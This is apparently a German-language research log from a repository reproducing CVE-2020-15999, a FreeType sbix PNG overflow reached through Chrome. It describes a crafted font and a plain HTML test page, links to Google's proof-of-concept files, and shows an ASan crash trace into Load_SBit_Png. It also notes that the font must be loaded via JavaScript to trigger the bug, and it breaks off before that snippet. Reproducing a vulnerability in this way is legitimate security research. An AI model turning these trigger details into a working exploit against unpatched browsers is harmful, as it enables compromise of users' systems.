oxfemale/cve-2020-15999CVE-2020-15999
CVE-2020-15999
Schriftart mit SBIX-Tabelle hinzugefügt (basierend auf Arial) - https://docs.microsoft.com/en-us/typography/opentype/spec/sbix
Stürzt in ftview ab (asan.png), aber Chrome kann irgendwie nicht zum Absturz gebracht werden
Die Flags werden ebenfalls nicht korrekt gesetzt, sodass load_sbit_image() auch nicht aufgerufen wird. Seltsam.
Aufruf wie folgt:
index.html```
<link rel="stylesheet" href="style.css" type="text/css" media="all" />
<style>
.sample {
font-family: 'UntitledTTF';
border: 1px solid #ddd;
display: inline-block;
padding: 10px;
}
</style>
</head>
<body>
<p class="sample">
The quick brown fox jumps over the lazy dog
</p>
</body>
Ich habe es geschafft, Chrome zum Absturz zu bringen ... ich musste einige Schriftart-Parameter im Debugger anpassen, was bedeutet, dass man es möglicherweise auch in der Schriftart tun kann. Bleibt gespannt.
Das sollte es auslösen (Google PoC). Ich sehe, dass die Schriftart über JavaScript geladen wird, also anders als bei meinem Versuch:
https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472035
Ich werde es debuggen, sobald ich Zeit habe ...
Habe das gesamte vorherige Debugging mit Chromium durchgeführt, scheint, als ob sich die Codebasis damals unterschieden hat. Das könnte einiges erklären.
Mit Chrome funktioniert die PoC von Google: https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472398
Mit Chromium nicht.
Es scheint, als ob es an mehreren Prüfungen stoppt. Wenn ich sie so setze, dass sie bestehen, stürzt es dann mit allen PoCs ab:``` Received signal 11 SEGV_MAPERR 000000000000 #0 0x55555d7ace0b in backtrace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:4176:13 #1 0x7ffff796c8df in base::debug::CollectStackTrace(void**, unsigned long) ./../../base/debug/stack_trace_posix.cc:833:39 #2 0x7ffff7247239 in base::debug::StackTrace::StackTrace(unsigned long) ./../../base/debug/stack_trace.cc:198:12 #3 0x7ffff7247098 in base::debug::StackTrace::StackTrace() ./../../base/debug/stack_trace.cc:195:28 #4 0x7ffff796ae6d in base::debug::(anonymous namespace)::StackDumpSignalHandler(int, siginfo_t*, void*) ./../../base/debug/stack_trace_posix.cc:345:3 #5 0x7fff555c48a0 in __funlockfile ??:? #6 0x7fff555c48a0 in ?? ??:0 #7 0x7fff51cfd5ee in ?? /build/glibc-2ORdQG/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:277:0 #8 0x55555d7efca2 in __asan_memcpy /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 #9 0x7fffa01df08f in read_data_from_FT_Stream ./../../third_party/freetype/src/src/sfnt/pngshim.c:245:5 #10 0x7fffa0865f6d in cr_png_read_data ./../../third_party/libpng/pngrio.c:37:7 #11 0x7fffa08927b0 in cr_png_read_sig ./../../third_party/libpng/pngrutil.c:137:4 #12 0x7fffa0852e02 in cr_png_read_info ./../../third_party/libpng/pngread.c:104:4 #13 0x7fffa01dd6a3 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:322:5 #14 0x7fffa01d9440 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1548:15 #15 0x7fffa01aa6d7 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1611:15 #16 0x7fffa0246ddb in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13 #17 0x7fffa0244f77 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15 #18 0x7fffa020467e in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13 #19 0x7fffa005ff2f in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
## Update 4
Nee ... alles ist korrekt.
Um auszulösen, musst du die Schriftart per JavaScript laden, das Laden per CSS funktioniert nicht:
d.h.```